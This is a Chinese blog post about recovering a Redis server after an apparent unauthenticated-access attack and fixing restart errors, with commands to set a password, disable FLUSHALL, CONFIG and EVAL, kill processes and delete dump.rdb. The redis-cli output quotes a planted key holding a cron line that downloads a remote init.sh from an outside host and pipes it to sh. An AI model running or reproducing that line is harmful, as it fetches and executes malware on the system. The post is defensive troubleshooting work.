使用redis服务和重启redis服务需要注意的坑

1.过一段时间重新启动redis客户端时命令窗口显示了位置信息而且无法删除数据,FLUSHALL命令和DEL命令不能删除,窗口显示如下,查看网上的资料,说是redis被攻击了,详情参见https://www.freebuf.com/articles/database/147334.html,这时候你需要在redis.conf中配置redis服务器的访问密码(贴子很多,自行百度)同时在redis.conf里面设置一下,禁用redis中的三个命令,具体可以百度

 FLUSHALL 
 CONFIG   
 EVAL     

除此之外,可能还需要到 /root/.ssh 目录下干掉 rm -f cat authorized_keys2  和   rm -f backup.db 文件 因为被攻击之后会修改或者生成这两个文件 
如果你是被攻击了,这两个文件是肯定存在的

  

重启redis服务器,在启动redis客户端的时候带上密码,如果启动成功,过一段时间观察redis中的key是否变了,如果启动不成功,继续往下看。

# src/redis-cli
127.0.0.1:6379> keys *
1) "backup4"
2) "backup1"
3) "backup3"
4) "backup2"
127.0.0.1:6379> get backup4
"\n\n\n*/5 * * * * wdl -q -O- http://kaiserfranz.cc/franz/b0cdc46f1337a7ed1bc4b27f08709d31/init.sh | sh\n\n"
127.0.0.1:6379> FLUSHALL
(error) MISCONF Redis is configured to save RDB snapshots, but it is currently not able to persist on disk. Commands that may modify the data set are disabled, because this instance is configured to report errors during writes if RDB snapshotting fails (stop-writes-on-bgsave-error option). Please check the Redis logs for details about the RDB error.
127.0.0.1:6379> del backup1
(error) MISCONF Redis is configured to save RDB snapshots, but it is currently not able to persist on disk. Commands that may modify the data set are disabled, because this instance is configured to report errors during writes if RDB snapshotting fails (stop-writes-on-bgsave-error option). Please check the Redis logs for details about the RDB error.
 config set stop-writes-on-bgsave-error no

2.重启redis客户端之前要先找到redis服务器的进程,通过kill -9 进程号的方式终结正在运行的redis服务,再次启动服务

# ps -ef|grep redis

 root     29735  22156  0 09:21 pts/0    00:00:01 src/redis-server *:6379

# kill-9   29735

 #src/redis-server redis.conf  

此时重启任然有可能报错下面这种错误

# Could not create server TCP listening socket *:6379: bind: Address already in use

再次使用 ps -ef|grep redis 确认redis-server的进程已经不再,键入src/redis-server redis.conf  任然报错

# Could not create server TCP listening socket *:6379: bind: Address already in use

此时需要通过如下命令找到占用了6379端口的进程并干掉它,干掉之后确认一下6379端口是否还被占用

#2020-05-19 09:20:04 lsof -i:6379
#2020-05-19 09:21:03 kill -9 29407
# 2020-05-19 09:21:08 lsof -i:6379
# 2020-05-19 09:21:11 lsof -i:6379   

 再次启动redis服务器端,大功告成。


3.通过kil -9命令干掉redis服务器进程后,重启客服务器端,启动日志最后出现了这种错误,说明启动失败,客户端是连接不上的

3264:M 19 May 2020 09:56:26.933 # Wrong signature trying to load DB from file
3264:M 19 May 2020 09:56:26.933 # Fatal error loading the DB: Invalid argument. Exiting.

 解决这问题的办法是找到特定文件并删除之,才能成功重启,注意 rm -f  文件删除命令无提示,linux没有垃圾桶功能,数据无法找回,谨慎使用

# find / -name "dump.rdb"
/soft/redis/redis-5.0.5/dump.rdb
/soft/redis/redis-5.0.5/src/dump.rdb
# rm -f /soft/redis/redis-5.0.5/src/dump.rdb
# find / -name "dump.rdb"
/soft/redis/redis-5.0.5/dump.rdb
# rm -f /soft/redis/redis-5.0.5/dump.rdb
# find / -name "dump.rdb"

  键入重启命令

# src/redis-server redis.conf

 查到redis服务端启动日志,最后一行显示如下信息,说明启动成功,重点看红色部分

4891:M 19 May 2020 10:04:31.199 * Ready to accept connections

  启动客户端测试连,大功告成

# ./src/redis-cli -h 127.0.0.1 -p 6379 -a 密码
127.0.0.1:6379> 

  

posted @ 2020-05-19 10:32  指路为码  阅读(9373)  评论(0编辑  收藏  举报